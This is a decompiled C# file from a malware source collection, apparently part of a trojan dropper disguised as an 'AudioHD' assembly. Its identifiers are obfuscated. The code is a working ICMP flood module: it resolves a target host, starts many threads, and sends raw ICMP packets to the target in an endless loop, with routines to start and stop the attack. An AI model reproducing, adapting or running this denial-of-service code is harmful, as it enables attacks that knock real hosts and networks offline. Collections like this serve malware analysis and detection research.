MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024/_0008/_0003.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe

using \u0008;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;

namespace \u0008
{
  internal sealed class \u0003
  {
    private static ThreadStart[] \u0001;
    private static Thread[] \u0001;
    public static string \u0001;
    public static int \u0001;
    private static IPEndPoint \u0001;
    public static int \u0002;
    private static \u0003.\u0001[] \u0001;
    public static int \u0003;
    public static bool \u0001 = false;

    public static void \u000F()
    {
      try
      {
        \u0003.\u0001 = new IPEndPoint(Dns.GetHostEntry(\u0003.\u0001).AddressList[0], 0);
      }
      catch
      {
        \u0003.\u0001 = new IPEndPoint(IPAddress.Parse(\u0003.\u0001), 0);
      }
      \u0003.\u0001 = new Thread[\u0003.\u0003];
      \u0003.\u0001 = new ThreadStart[\u0003.\u0003];
      \u0003.\u0001 = new \u0003.\u0001[\u0003.\u0003];
      for (int index = 0; index < \u0003.\u0003; ++index)
      {
        \u0003.\u0001[index] = new \u0003.\u0001(\u0003.\u0001, \u0003.\u0001, \u0003.\u0002);
        \u0003.\u0001[index] = new ThreadStart(\u0003.\u0001[index].\u000F);
        \u0003.\u0001[index] = new Thread(\u0003.\u0001[index]);
        \u0003.\u0001[index].Start();
      }
      \u0003.\u0001 = true;
    }

    public static void \u0010()
    {
      for (int index = 0; index < \u0003.\u0003; ++index)
      {
        try
        {
          \u0003.\u0001[index].Abort();
          \u0003.\u0001[index].Join();
        }
        catch
        {
          \u0003.\u0001 = false;
        }
      }
      \u0003.\u0001 = false;
    }

    private sealed class \u0001
    {
      private int \u0001;
      private IPEndPoint \u0001;
      private int \u0002;
      private Socket[] \u0001;

      public \u0001([In] IPEndPoint obj0, [In] int obj1, [In] int obj2)
      {
        this.\u0001 = obj0;
        this.\u0001 = obj1;
        this.\u0002 = obj2;
      }

      public void \u000F()
      {
        byte[] buffer = new byte[this.\u0002];
label_1:
        try
        {
          while (true)
          {
            this.\u0001 = new Socket[this.\u0001];
            for (int index = 0; index < this.\u0001; ++index)
            {
              this.\u0001[index] = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
              this.\u0001[index].Blocking = false;
              this.\u0001[index].SendTo(buffer, (EndPoint) this.\u0001);
            }
            Thread.Sleep(100);
            for (int index = 0; index < this.\u0001; ++index)
            {
              if (this.\u0001[index].Connected)
                this.\u0001[index].Disconnect(false);
              this.\u0001[index].Close();
              this.\u0001[index] = (Socket) null;
            }
            this.\u0001 = (Socket[]) null;
          }
        }
        catch
        {
          for (int index = 0; index < this.\u0001; ++index)
          {
            try
            {
              if (this.\u0001[index].Connected)
                this.\u0001[index].Disconnect(false);
              this.\u0001[index].Close();
              this.\u0001[index] = (Socket) null;
            }
            catch
            {
            }
          }
          goto label_1;
        }
      }
    }
  }
}